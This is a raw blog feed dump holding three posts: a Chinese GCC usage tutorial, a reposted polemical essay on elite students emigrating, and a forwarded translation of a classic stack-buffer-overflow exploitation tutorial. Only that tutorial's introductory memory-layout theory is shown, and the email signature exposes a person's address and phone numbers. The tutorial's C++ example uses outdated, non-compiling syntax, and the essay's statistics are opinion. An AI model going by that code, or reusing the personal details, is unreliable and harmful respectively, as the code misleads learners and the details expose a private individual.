加入了对静态库，动态库的参数&lt;br /&gt;-2002-08-16&lt;br /&gt;　　ver 0.16 增加了gcc编译的4个阶段的命令&lt;br /&gt;运行 gcc/egcs&lt;br /&gt;**********运行 gcc/egcs***********************&lt;br /&gt;　　GCC 是 GNU 的 C 和 C++ 编译器。实际上，GCC 能够编译三种语言：C、C++ 和 O&lt;br /&gt;bject C（C 语言的一种面向对象扩展）。利用 gcc 命令可同时编译并连接 C 和 C++&lt;br /&gt;源程序。&lt;br /&gt;　　如果你有两个或少数几个 C 源文件，也可以方便地利用 GCC 编译、连接并生成可&lt;br /&gt;执行文件。例如，假设你有两个源文件 main.c 和 factorial.c 两个源文件，现在要编&lt;br /&gt;译生成一个计算阶乘的程序。&lt;br /&gt;代码:&lt;br /&gt;-----------------------&lt;br /&gt;清单 factorial.c&lt;br /&gt;-----------------------&lt;br /&gt;int factorial (int n)&lt;br /&gt;{&lt;br /&gt;　　if (n &lt;= 1)&lt;br /&gt;　　　return 1;&lt;br /&gt;　　else&lt;br /&gt;　　　return factorial (n - 1) * n;&lt;br /&gt;}&lt;br /&gt;-----------------------&lt;br /&gt;清单 main.c&lt;br /&gt;-----------------------&lt;br /&gt;#include　&lt;stdio.h&gt;&lt;br /&gt;#include　&lt;unistd.h&gt;&lt;br /&gt;int factorial (int n);&lt;br /&gt;int main (int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;　　int n;&lt;br /&gt;　　if (argc &lt; 2)&lt;br /&gt;　　{&lt;br /&gt;　　　　printf ("Usage: %s n\n", argv [0]);&lt;br /&gt;　　　　return -1;&lt;br /&gt;　　}&lt;br /&gt;　　else&lt;br /&gt;　　{&lt;br /&gt;　　　n = atoi (argv[1]);&lt;br /&gt;　　　printf ("Factorial of %d is %d.\n", n, factorial (n));&lt;br /&gt;　　 }&lt;br /&gt;　　return 0;&lt;br /&gt;}&lt;br /&gt;-----------------------&lt;br /&gt;利用如下的命令可编译生成可执行文件，并执行程序：&lt;br /&gt;$ gcc -o factorial main.c factorial.c&lt;br /&gt;$ ./factorial 5&lt;br /&gt;Factorial of 5 is 120.&lt;br /&gt;　　GCC 可同时用来编译 C 程序和 C++ 程序。一般来说，C 编译器通过源文件的后缀&lt;br /&gt;名来判断是 C 程序还是 C++ 程序。在 Linux 中，C 源文件的后缀名为 .c，而 C++ 源&lt;br /&gt;文件的后缀名为 .C 或 .cpp。但是，gcc 命令只能编译 C++ 源文件，而不能自动和 C&lt;br /&gt;++ 程序使用的库连接。因此，通常使用 g++ 命令来完成 C++ 程序的编译和连接，该程&lt;br /&gt;序会自动调用 gcc 实现编译。假设我们有一个如下的 C++ 源文件（hello.C）：&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;void main (void)&lt;br /&gt;{&lt;br /&gt;　　cout &lt;&lt; "Hello, world!" &lt;&lt; endl;&lt;br /&gt;}&lt;br /&gt;则可以如下调用 g++ 命令编译、连接并生成可执行文件：&lt;br /&gt;$ g++ -o hello hello.C&lt;br /&gt;$ ./hello&lt;br /&gt;Hello, world!&lt;br /&gt;**********************gcc/egcs 的主要选项*********&lt;br /&gt;gcc 命令的常用选项&lt;br /&gt;选项 解释&lt;br /&gt;-ansi 只支持 ANSI 标准的 C 语法。这一选项将禁止 GNU C 的某些特色，&lt;br /&gt;例如 asm 或 typeof 关键词。&lt;br /&gt;-c 只编译并生成目标文件。&lt;br /&gt;-DMACRO 以字符串“1”定义 MACRO 宏。&lt;br /&gt;-DMACRO=DEFN 以字符串“DEFN”定义 MACRO 宏。&lt;br /&gt;-E 只运行 C 预编译器。&lt;br /&gt;-g 生成调试信息。GNU 调试器可利用该信息。&lt;br /&gt;-IDIRECTORY 指定额外的头文件搜索路径DIRECTORY。&lt;br /&gt;-LDIRECTORY 指定额外的函数库搜索路径DIRECTORY。&lt;br /&gt;-lLIBRARY 连接时搜索指定的函数库LIBRARY。&lt;br /&gt;-m486 针对 486 进行代码优化。&lt;br /&gt;-o FILE 生成指定的输出文件。用在生成可执行文件时。&lt;br /&gt;-O0 不进行优化处理。&lt;br /&gt;-O 或 -O1 优化生成代码。&lt;br /&gt;-O2 进一步优化。&lt;br /&gt;-O3 比 -O2 更进一步优化，包括 inline 函数。&lt;br /&gt;-shared 生成共享目标文件。通常用在建立共享库时。&lt;br /&gt;-static 禁止使用共享连接。&lt;br /&gt;-UMACRO 取消对 MACRO 宏的定义。&lt;br /&gt;-w 不生成任何警告信息。&lt;br /&gt;-Wall 生成所有警告信息。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-112977517576476024?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/112977517576476024/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=112977517576476024' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112977517576476024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112977517576476024'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/unixgcc.html' title='UNIX系统开发－gcc参数详解'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-112963821988109820</id><published>2005-10-18T20:23:00.000+08:00</published><updated>2005-10-20T10:19:57.416+08:00</updated><title type='text'>为什么北京大学生们像狗一样争着出国[转载]</title><content type='html'>&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:smarttagtype name="chmetcnv" namespaceuri="urn:schemas-microsoft-com:office:smarttags"&gt;&lt;/o:smarttagtype&gt;&lt;o:smarttagtype name="PersonName" namespaceuri="urn:schemas-microsoft-com:office:smarttags"&gt;&lt;/o:smarttagtype&gt; &lt;style&gt; st1\:*{behavior:url(#default#ieooui) } &lt;/style&gt;&lt;br /&gt;为什么北京大学生们像狗一样争着出国前几天，，一位清华学生发表了他对出国的热切渴望并详列理由，受到追捧回应。俺一度也想写上那么一篇，来谈谈大学生为啥要抢着出国。笔者目前在国内工作，北大读完本科后从业两年。中国大学生历来是关注焦点，任何新闻，只要和大学生扯上了，都是热门。前段日子，有个记者叫陈杰人，一度成为知名人物，他也没做啥大事，就是披露了武汉女大学生“陪聊”的事情。几乎是同一时期，卫生部副部长宣称中国有六百万以上的妓女，关心的人却寥寥无几。&lt;br /&gt;　　大学生，在中国历来被视为纯洁，真诚的象征。仿佛人一进了大学，就高尚富贵起来，与众不同了。大学生卖肉，大学生行骗，大学生贪污腐败，女大学生傍大款，女大学生卖淫，个个都是众人关注的焦点，主角换个身份大伙就视而不见。&lt;br /&gt;　　大学生如今热衷出国，众人皆知。在中国，有出国权的人并不多。年轻人里，除高官富翁的子女，只有理工科大学生??往往还是成绩比较优秀的那种，才有出国的机会。那么多高官的子女，就算留在国内，也是要风有风，要雨得雨。可他们依然义无反顾的出国。大学生又如何？每年大学里出国的，都是成绩最优秀的那批，往往争offer争得头破血流。大学生出国可不容易，苦背GRE，花流水般的钱上新东方，多半还得租房子、等?offer、过签证，得历经九九八十一难，随时会有被拒的危险。就这么恶劣的竞争环境，这批本可在国内混得不错的人，依然削尖了脑袋出国，而且数量越来越多。&lt;br /&gt;　　大学生可并不代表知识分子群体。大学生是通过高考制度，从全国各个阶级里，选拔出来的优秀人才。它们的选择，与高官子弟的选择，其象征意义是不一样的。大学生的逃离代表着全体中国人的逃离。&lt;br /&gt;　　俺的大学记忆里，有这么件事儿。大三冬天的日子，托福报名。那时候，托福考试可不像现在那么灵活，一到报名日，就是人满为患，赶上一次报名，非得漏夜排队不可。俺和几个哥们拿着小凳子和报纸，在附近一个报名点旁边守夜。从零点，在寒风中一直等到东方泛起鱼肚白，终于等到人家上班了。因为队伍太长，几百个人混乱不堪，专门拨出了警力来维持队伍。警察花了半个小时，把这几百人的队伍整好了。怎么整的呢？用脚。看看谁没站好，就狠狠地用脚踢他的大腿和小腿，直到把他踢到队伍里为止。几百个学生，清华的、北大的、北外的……凡你能想起的最牛气的学校中的自尊心最高，恃才而傲眼高于顶不可一世的最牛的学生，就咬着牙齿，在那里默默忍受几个警察喝斥、脚踹的社会主义教育。&lt;br /&gt;　　?这是为了离开这个国度所付出的代价之一。&lt;br /&gt;　　中国人市民对北大学生和清华学生有个最大的误判，他们以为，北大学生和清华学生是不同的。例如北大是理想主义的，清华是实用主义的。北大学生是反抗型的，清华学生是乖乖型的。北大学生是自由化的，清华学生是爱政府的。北大学生是个人主义的，清华学生是国家主义的……。其实，这些只是**。在出国问题上，北大和清华学生是完全一致的，不含糊的。唯一的不同是：北大学生一边骂这个社会，一边出国，而清华学生一边赞扬这个社会，一边出国，然后他们之间的绝大多数读phd，找工作，入美国籍，定居。&lt;br /&gt;　　俺在清华也有几个好友，97年，清华有个响亮的口号，叫“为祖国健康工作五十年”&lt;br /&gt;　　，这句话琅琅上口，有气势，清华小伙很爱喊，直到他们出国为止。俺在清华的朋友，在美国建立了庞大的同学会，留在中国倒显得孤零零了。&lt;br /&gt;　　中国知识分子最是忍让。他们秉承了中国人吃苦耐劳，小富即安，嫁鸡随鸡，百忍成精的优良传统，院士王选转述领导人的话说：中国知识分子价廉物美。两千块钱的工资，就可以随意使唤。中国知识分子安于现状，能够忍贫受饥。适应能力比蟑螂更强，在金星上也能生存。近期报导的陆步轩，从一个北大中文系高材生，适应成一个卖肉屠夫，这样的生活现状也没有让他成为土匪或是人肉炸弹。中国的知识分子就是这样善于忍受，只要一点点尊重，一点点慰籍，一点点利益，他们就可以在中国呆下去。可还是呆不下去。&lt;br /&gt;　　中国对待知识的态度很奇特。比如说，一个工人，每个小时可以生产出十元的产品。&lt;br /&gt;　　一个受过良好教育的工程师，改良了机器、流程、管理，于是一个工人每个小时可以生产出一百元的产品。那么这多出来的九十元算是谁的功劳呢？西方人对此争论不休，有些人说，工人产出的是十元，工程师的价值当然是九十元；有些人说，工人也提高了效率和劳动强度应该得五十元，工程师五十元比较公平。但中国人会说：我们工人的产量增加了，感谢领导们对工人的指导，对工程师的培养与栽培。这九十元是领导的功劳，剩下的十元，请尊敬的工人同志和尊敬的工程师同志平分吧。&lt;br /&gt;　　这是对待理工科知识分子的态度，那种只会写文章的家伙就更加糟糕。文革以后，活的舒服的，都是拍马屁拍得响的。说真话的，不会拍马屁的，甚至拍马屁拍得不那么响的，基本上都在大牢里，或者干脆死翘翘了。这些事情大伙听得太多，所以俺就不讲了，这次和大家侃侃混得还算可以的理工类知识分子和工程师们。以史为鉴，以史为鉴。&lt;br /&gt;　　俺举的例子，都是那些在国内混得不错的家伙，那些受迫害的，找了根绳子上吊的知识分子，大伙耳朵都听得起茧了。但迫害归迫害，对权力不利的家伙可以统统去死，可有些人是必须活下来了，要是知识分子死绝了，就啥事也干不了。毛泽东最瞧不起知识分子了，整一批死一批的。可一旦领导人或者领导人的家属生了病，包括他自己在内，个个都找的是那些医学界反动学术权威，还没听说过谁找了个赤脚医生给自己看病的。&lt;br /&gt;　　以史为鉴之五十年代：华罗庚??建国来待遇最好的理论数学家。&lt;br /&gt;　　华罗庚算是那个时代混得最不错的知识分子之一，他天分极高，不到二十岁就在《科学》杂志上发表论文，后从事数论研究。二十六岁成为剑桥大学访问学者。中日战争爆发后，在中国形势最恶劣时回国于西南联合大学任教。中日战争结束后，受聘为美国普林斯顿大学教授。共和国成立后，五零年，放弃国外的优越待遇回国。议定好的年薪是八百斤小米，当然后来没有全给。这位已发表过两百多篇论文和专著的数学家在新中国继续从事研究工作。由于华罗庚对政治不感兴趣，所以在文革中没有受太大冲击。虽然他被拉进了政协，但实际上没有对政治发表过只言片语。&lt;br /&gt;　　在1968年，中共中央组织部部长郭玉峰在党代会上发表了《关于四届全国政协常委会委员政治情况的报告》，在该报告中，他指称74名全国政协常委会委员为叛徒，叛徒嫌疑，特务，特嫌，国特，反革命修正主义分子，里通外国分子等，占159名政协常委会委员的47%。建筑学家梁思成、生物学家童弟周、桥梁专家茅以升相继被打倒。&lt;br /&gt;　　但华罗庚却幸免于难。在数学家群体当中，他是最风光的一个，他是中国数学界的泰斗，中科院数学科学研究所所长，他很聪明，用一个在理论数学上毫无学术价值的“优选法”，来证明自己“贴近工农”，并在文革时期赴全国十八个省份讲演做专题报告，而其它的数学家此时大多在牛棚里度过余生。&lt;br /&gt;　　这个当时在全国算是最走运的一个数学家华罗庚，生活是怎样的呢？五零年以后，他再也没有能发表出有份量的成果。是条件不够好吗？从纵向比，抗日时期，他在西南联大，物资极度紧张，住在猪圈旁边，他依然可硕果累累。可五零年以后，生活条件好转，可他却出不了成果了。从横向比，被他指责为“贪图享乐不回国”的同龄人，大数学家陈省身，在国外屡屡突破，一举获得数学界最高荣誉之一沃尔夫奖，退休后衣锦还乡到南开大学享福去了。&lt;br /&gt;　　华罗庚五零年，毅然放弃优异待遇回国时，发表热情洋溢的爱国宣言：“良园虽好，却非久居之地”，影响了一代海外学人。十年后，他黯然对夫人说：“我想自杀。”&lt;br /&gt;　　。消息传出，又影响了一代海外学人。&lt;br /&gt;　　他没有精力再搞研究，因为他的同事处心积虑地揭发他，批判他。&lt;br /&gt;　　他二十年的手稿被红卫兵抄家后付之一炬。&lt;br /&gt;　　他放弃了自己喜爱的数论研究，放弃了自己的天赋，去搞应用数学和爱国主义教育。&lt;br /&gt;　　统筹法让他摆脱了“脱离群众、脱离工农”的口诛笔伐，使他获得全国巡回演讲的殊荣。可他自己知道这东西的生命力，文革以后，再也没有人用。&lt;br /&gt;　　他在海外的名声为他赢得了待遇，因为他是统战对象，是模范表率，所以要照顾他。&lt;br /&gt;　　可是其它人就不是了。他的儿子，一家四口人，住十四平方米屋子。他最得意的徒弟陈景润，住四人七平方米一间的宿舍。&lt;br /&gt;　　清华大学文革委员会主任迟群不断关心他的生活，陈景润成名之后，迟群不遗余力地动员他积极展开批判华罗庚的工作。&lt;br /&gt;　　华罗庚的优选法在辽宁省做成果展示时，主持辽宁党政军工作的毛远新（毛泽东侄子）对这位天才数学家高屋建瓴地指出：“优选法的‘最优’是不可能存在的，最优这一提法不科学，不符合马列主义，最多只能称为较优。”于是华罗庚只好带领他的弟子们连夜加班，将展示板里的“最优”统统改成了“较优”。&lt;br /&gt;　　这就是在国内待遇最好的数学家的遭遇。&lt;br /&gt;　　以史为鉴之七十年代：袁隆平??建国以来贡献最大的农学家。&lt;br /&gt;　　八十年代之前的二十年里，中国人是在饥饿中度过的。最有名的三年饥荒，按现在俺手头搜集的全国仅17个省的统计资料，加起来就饿死了2100万，预计全国的统计数字应该在2700-3000万之间。不过，俺认为统计数字肯定有问题，算少了。三千万是啥概念？全国一共有七十多万个生产大队，一个生产队大约?1000人，正常年份，每个生产队每年死亡10-15人，饥荒三年，每年死亡25-30人，全国就会多死三千万人。可俺那地头，老一辈的记忆里，死得可比这惨多了，所以俺认为三千万这个数字，肯定是少了。饥饿的不仅仅是那三年，整整二十年，俺老家的人就没有吃饱过。&lt;br /&gt;　　据老一辈说，真正重新吃饱饭，是在七十年代末，以前的稻子是高高的，风一吹就倒，换了矮水稻以后，粮食真是翻了出来。报纸上曾引述农民的话说：“我们吃饱饭，靠的是两‘平’。邓小平和袁隆平。20%，于1973年研究成功，1976年开始推广。八十年代，国际组织给他的奖项多得像米粒一样。中国有九亿农民，他一个人，相当于干了两亿农民的活。有人预估，他的种子共创造效益5600亿美元。假设其中分零头给他，那么他的资产就会大致与世界首富比尔盖茨587亿美元相当。&lt;br /&gt;　　那么袁隆平的真实情况是怎么样的呢？截至1998年，袁隆平的月工资是1600元。&lt;br /&gt;　　由于他做人老实本分，1953年被分配到偏远落后的湘西雪峰山麓安江农校教书。在那里，才华横溢的袁隆平的职称一直没有提升，工资一直原地踏步，房子依旧窄小阴暗，向上爬的机会被他那些会拍领导马屁的同事抢走了。他唯一的幸运是研究水稻。这是大伙吃饭用的东西，属于文革中保护品种，他住的又偏远，灾难没降临到他头上。&lt;br /&gt;　　文革中他也被人整过，罪名是毛泽东制定了农业八字办法：水、肥、土、种、密、保、工、管，他却偏偏认为要加一个“时”字。加上整天摆弄那些别人看不懂的瓶瓶罐罐，于是被打成反革命。&lt;br /&gt;　　文革中，他培养水稻的罐子被红卫兵们砸碎，辛苦培育的品种被他们扔到井里，不得不中断研究三年。遭到批斗和毒打。而如今，他的工作又被新的挺毛派红卫兵们，恬不知耻地称作“毛泽东时代的伟大成就”，有些干脆说是“毛泽东领导下的成就”。&lt;br /&gt;　　各位坛子上出国的老兄，听说过把受害人说成是自己的成就的吗？就像张志新，被辽宁党政班子割了喉管枪决。平反以后，辽宁省官员也声称“张志新同志的伟大精神是辽宁的光荣”。看看美国，政府给企业提供那么好的发展环境，可你有听说过美国把Intel奔腾芯片叫做“克林顿时代的伟大成就之一”的吗？1979年，美国圆环种子公司总经理威尔其惊叹中国的水稻成就，向中国农业部的官员咨询杂交水稻的发明人是谁，他要签约用高价向发明人申请专利使用权。对此，中国种子公司官员义正言辞地回答说，这个发明专利权属中国国家拥有。农业部种子公司就是代表国家享有这一权利的唯一代表。要探讨杂交水稻技术转让问题，无须再找“别人”。&lt;br /&gt;　　1980年，圆环种子公司向中国种子公司支付当时可谓是天价的20万美元首期专利转让费，袁隆平一分未得。&lt;br /&gt;　　1980年，为配合本次专利转让活动，袁隆平以专家身份出访美国做了四个月的技术指导。回国后，他所得的工资数千美元，被农业部悉数收缴，然后重新发给他每天20元人民币的出国补贴。&lt;br /&gt;　　1981年，国家科委、农委重奖杂交水稻发明人10万元奖金。但单位转手分下来以后，袁隆平仅得5000元。&lt;br /&gt;　　2003年，袁隆平在几十年多次创造奇迹以后，正式宣布由于研究经费匮乏，他的研究所的最新成果无法试产，将与美国公司合作。&lt;br /&gt;　　这就是国内贡献最大的农学研究员的故事。&lt;br /&gt;　　以史为鉴之九十年代：大学生??离上流社会最近的人。&lt;br /&gt;　　九十年代，不需要从个体身上截取例子。因为九十年代，俺们已经懂事，坛子上年岁大点的人，已经踏入社会。这不是历史，是在俺们身边发生的现实。&lt;br /&gt;　　法新社于今年十一月份发表了一条新闻，中国贸易促进会会长的千金，万季飞18岁的爱女万宝宝（译音）受邀出席法国巴黎最负盛名，为首次踏足社交界的千金小姐举办的舞会。她将正式在法国Crillon酒店的舞会上“进入法国上流社会”。&lt;br /&gt;　　中国的下等人是谁自然不必多说。要工作，他们到城市会被驱赶和盘剥；要开公司，他们没有启动费用；要从政更是痴心妄想，现在买个官比开个公司难多了。唯一改换身份的出路是上学，如果子女碰巧有天资、能考试，那么就是一个希望。俺就出身这样一个家庭，城市的朋友，都不明白，为啥有些农民，付不起孩子上学的钱，会自杀。上不起学，打工去不就行了吗？事情不是这样，考上大学，不仅仅意味着更好的机会，它意味着跳出了老鼠的儿子要打洞，一代代的农民，一代代的受苦的循环。近几年的教育高收费，将这条路也渐渐堵塞。在俺念的北大计算机系，97级本科有一半农民子弟，而01级本科的小ddmm们，已经基本没有农民成份了。&lt;br /&gt;　　但上大学，并不意味着进入中产阶级或是上流社会，特别是在扔个砖头都可以砸倒几个博士的时代，大学生的价值越来越小。在国内，摆在大学生面前的出路，一条比一条难走。唯一越走越宽的道路就是傍大款，因为有钱人越来越多。傍大款这个词，现在已经不流行了，流行的是做小秘和包二奶，充分体现了中国文化博大精神，与时俱进的风格。但这条路毕竟只有少数人可走，绝大多数还得工作，就算读研暂缓几年，工作还是免不了的，总不能读书读到死吧。&lt;br /&gt;　　今年回了一趟北京，真是在招聘会上开眼了。俺也算是有一定阅历的家伙了，可从来没见过这么拥挤、这么多大学生红着眼睛左冲右突的招聘会。这几年经济增长得很快。可别的国家经济增长，伴随的是股市行情飚红，就业机会遍地都是，低收入群体得到更好保障。可中国的经济增长却是反其道而行之，这钱都到哪去了呢？招聘会结束了，几天以后，消息下来了，本科生三四千，研究生四五千，博士生六七千，像狗一样的找工作虽然和像狗一样的出国有所相似，可一个卖得贱，一个则卖得贵些。现在网上有些人觉得中国的经济环境很好啊，他们的理由是：经济环境不好，外资怎么刷刷地就进来了呢？这还用废话吗？像垃圾袋一样便宜的大学生劳动力，没有法律保障的工作时间，法官不是腐败的就是向着资本家的，还不让工人自己组织工会。这个大中国，不摆明了是外国资本家天堂中的天堂么？可俺们，迈向上流社会的大学生们，环顾四方的时候，又发现自己是在哪里呢？以上是俺要说的话，但愿对已经出国和想出国和不想出国的大学生们有用。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-112963821988109820?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/112963821988109820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=112963821988109820' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112963821988109820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112963821988109820'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/blog-post_18.html' title='为什么北京大学生们像狗一样争着出国[转载]'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-112963444417127599</id><published>2005-10-18T19:20:00.000+08:00</published><updated>2005-10-18T19:20:44.206+08:00</updated><title type='text'>转发: 缓冲溢出原理zz(转寄)</title><content type='html'>&lt;p class="mobile-post"&gt;&lt;/p&gt;&lt;p class="mobile-post"&gt;━━━━━━━━━━━━━━━━━━━━━━&lt;br /&gt;邹勇&lt;br /&gt;ZouYong&lt;br /&gt;Room 420A ZJ1# Tsinghua Univ.&lt;br /&gt;Haidian Beijing, China 100084&lt;/p&gt;&lt;p class="mobile-post"&gt;Tel: +(86)10-51534420,13581829417 &lt;br /&gt;Email:  zouy02@gmail.com&lt;br /&gt;━━━━━━━━━━━━━━━━━━━━━━ &lt;/p&gt;&lt;p class="mobile-post"&gt;-----邮件原件-----&lt;br /&gt;发件人: Hold@bbs.ee.tsinghua.edu.cn [mailto:Hold@bbs.ee.tsinghua.edu.cn] &lt;br /&gt;发送时间: 2005年4月21日 22:40&lt;br /&gt;收件人: zouy02@126.com&lt;br /&gt;主题: 缓冲溢出原理zz(转寄)&lt;/p&gt;&lt;p class="mobile-post"&gt;标题：缓冲区溢出的原理和实践(Phrack)&lt;/p&gt;&lt;p class="mobile-post"&gt;作者：Sinbad 返 回 我要评论 &lt;br /&gt;发信人: Sinbad &amp;lt;MicroBin@263.net&amp;gt;&lt;br /&gt;标  题: 缓冲区溢出的原理和实践(Phrack)&lt;br /&gt;发信站: 辛巴达 (Fri Jun 15 08:31:09 2001)&lt;/p&gt;&lt;p class="mobile-post"&gt;                               .oO Phrack 49 Oo.&lt;/p&gt;&lt;p class="mobile-post"&gt;                          Volume Seven, Issue Forty-Nine&lt;br /&gt;                                     &lt;br /&gt;                                  File 14 of 16&lt;/p&gt;&lt;p class="mobile-post"&gt;                      BugTraq, r00t, and Underground.Org&lt;br /&gt;                                   bring you&lt;/p&gt;&lt;p class="mobile-post"&gt;                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;                     Smashing The Stack For Fun And Profit&lt;br /&gt;                          以娱乐和牟利为目的践踏堆栈&lt;br /&gt;                          (缓冲区溢出的原理和实践)&lt;br /&gt;                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;/p&gt;&lt;p class="mobile-post"&gt;                                 原作 by Aleph One&lt;br /&gt;                             aleph1@underground.org&lt;br /&gt;                             &lt;br /&gt;                            翻译 xuzq@chinasafer.com&lt;br /&gt;                                www.chinasafer.com&lt;br /&gt;                            &lt;br /&gt;        '践踏堆栈'[C语言编程] n. 在许多C语言的实现中,有可能通过写入例程&lt;br /&gt;        中所声明的数组的结尾部分来破坏可执行的堆栈.所谓'践踏堆栈'使用的&lt;br /&gt;        代码可以造成例程的返回异常,从而跳到任意的地址.这导致了一些极为&lt;br /&gt;        险恶的数据相关漏洞(已人所共知).其变种包括堆栈垃圾化(trash the &lt;br /&gt;        stack),堆栈乱写(scribble the stack),堆栈毁坏(mangle the stack);&lt;br /&gt;        术语mung the stack并不使用,因为这从来不是故意造成的.参阅spam?&lt;br /&gt;        也请参阅同名的漏洞,胡闹内核(fandango on core),内存泄露(memory &lt;br /&gt;        leak),优先权丢失(precedence lossage),螺纹滑扣(overrun screw).&lt;br /&gt;        &lt;br /&gt;                                   简   介&lt;br /&gt;                                   ~~~~~~~&lt;br /&gt;                                  &lt;br /&gt;    在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog,&lt;br /&gt;splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at等等.本文试图&lt;/p&gt;&lt;p class="mobile-post"&gt;解释什么是缓冲区溢出, 以及如何利用.&lt;/p&gt;&lt;p class="mobile-post"&gt;    汇编的基础知识是必需的. 对虚拟内存的概念, 以及使用gdb的经验是十分有益&lt;br /&gt;的, 但不是必需的. 我们还假定使用Intel x86 CPU, 操作系统是Linux.&lt;/p&gt;&lt;p class="mobile-post"&gt;    在开始之前我们给出几个基本的定义: 缓冲区,简单说来是一块连续的计算机内&lt;/p&gt;&lt;p class="mobile-post"&gt;存区域, 可以保存相同数据类型的多个实例. C程序员通常和字缓冲区数组打交道.&lt;br /&gt;最常见的是字符数组. 数组, 与C语言中所有的变量一样, 可以被声明为静态或动态&lt;br /&gt;的. 静态变量在程序加载时定位于数据段. 动态变量在程序运行时定位于堆栈之中.&lt;br /&gt;溢出, 说白了就是灌满, 使内容物超过顶端, 边缘, 或边界. 我们这里只关心动态&lt;br /&gt;缓冲区的溢出问题, 即基于堆栈的缓冲区溢出.&lt;/p&gt;&lt;p class="mobile-post"&gt;                              进程的内存组织形式&lt;br /&gt;                             ~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;    为了理解什么是堆栈缓冲区, 我们必须首先理解一个进程是以什么组织形式在&lt;br /&gt;内存中存在的. 进程被分成三个区域: 文本, 数据和堆栈. 我们把精力集中在堆栈&lt;br /&gt;区域, 但首先按照顺序简单介绍一下其他区域.&lt;/p&gt;&lt;p class="mobile-post"&gt;    文本区域是由程序确定的, 包括代码(指令)和只读数据. 该区域相当于可执行&lt;br /&gt;文件的文本段. 这个区域通常被标记为只读, 任何对其写入的操作都会导致段错误&lt;br /&gt;(segmentation violation).&lt;/p&gt;&lt;p class="mobile-post"&gt;    数据区域包含了已初始化和未初始化的数据. 静态变量储存在这个区域中. 数&lt;br /&gt;据区域对应可执行文件中的data-bss段. 它的大小可以用系统调用brk(2)来改变.&lt;br /&gt;如果bss数据的扩展或用户堆栈把可用内存消耗光了, 进程就会被阻塞住, 等待有了&lt;br /&gt;一块更大的内存空间之后再运行. 新内存加入到数据和堆栈段的中间.&lt;/p&gt;&lt;p class="mobile-post"&gt;                             /------------------\  内存低地址&lt;br /&gt;                             |                  |  &lt;br /&gt;                             |       文本       |  &lt;br /&gt;                             |                  |&lt;br /&gt;                             |------------------|&lt;br /&gt;                             |    (已初始化)    |&lt;br /&gt;                             |        数据      |&lt;br /&gt;                             |    (未初始化)    |&lt;br /&gt;                             |------------------|&lt;br /&gt;                             |                  |&lt;br /&gt;                             |       堆栈       |  &lt;br /&gt;                             |                  |  &lt;br /&gt;                             \------------------/  内存高地址&lt;/p&gt;&lt;p class="mobile-post"&gt;                              Fig. 1 进程内存区域&lt;/p&gt;&lt;p class="mobile-post"&gt;    &lt;br /&gt;                                  什么是堆栈?&lt;br /&gt;                                 ~~~~~~~~~~~~~&lt;/p&gt;&lt;p class="mobile-post"&gt;    堆栈是一个在计算机科学中经常使用的抽象数据类型. 堆栈中的物体具有一个特性:&lt;br /&gt;最后一个放入堆栈中的物体总是被最先拿出来, 这个特性通常称为后进先处(LIFO)队列.&lt;/p&gt;&lt;p class="mobile-post"&gt;    堆栈中定义了一些操作. 两个最重要的是PUSH和POP. PUSH操作在堆栈的顶部加入一&lt;br /&gt;个元素. POP操作相反, 在堆栈顶部移去一个元素, 并将堆栈的大小减一.&lt;/p&gt;&lt;p class="mobile-post"&gt;                                为什么使用堆栈?&lt;br /&gt;                               ~~~~~~~~~~~~~~~~&lt;br /&gt;    现代计算机被设计成能够理解人们头脑中的高级语言. 在使用高级语言构造程序时&lt;br /&gt;最重要的技术是过程(procedure)和函数(function). 从这一点来看, 一个过程调用可&lt;br /&gt;以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时,&lt;br /&gt;函数把控制权返回给调用之后的语句或指令. 这种高级抽象实现起来要靠堆栈的帮助.&lt;/p&gt;&lt;p class="mobile-post"&gt;    堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返&lt;br /&gt;回值也要用到堆栈.&lt;/p&gt;&lt;p class="mobile-post"&gt;                                   堆栈区域&lt;br /&gt;                                  ~~~~~~~~~~&lt;br /&gt;    堆栈是一块保存数据的连续内存. 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部.&lt;br /&gt;堆栈的底部在一个固定的地址. 堆栈的大小在运行时由内核动态地调整. CPU实现指令&lt;br /&gt;PUSH和POP, 向堆栈中添加元素和从中移去元素.&lt;/p&gt;&lt;p class="mobile-post"&gt;    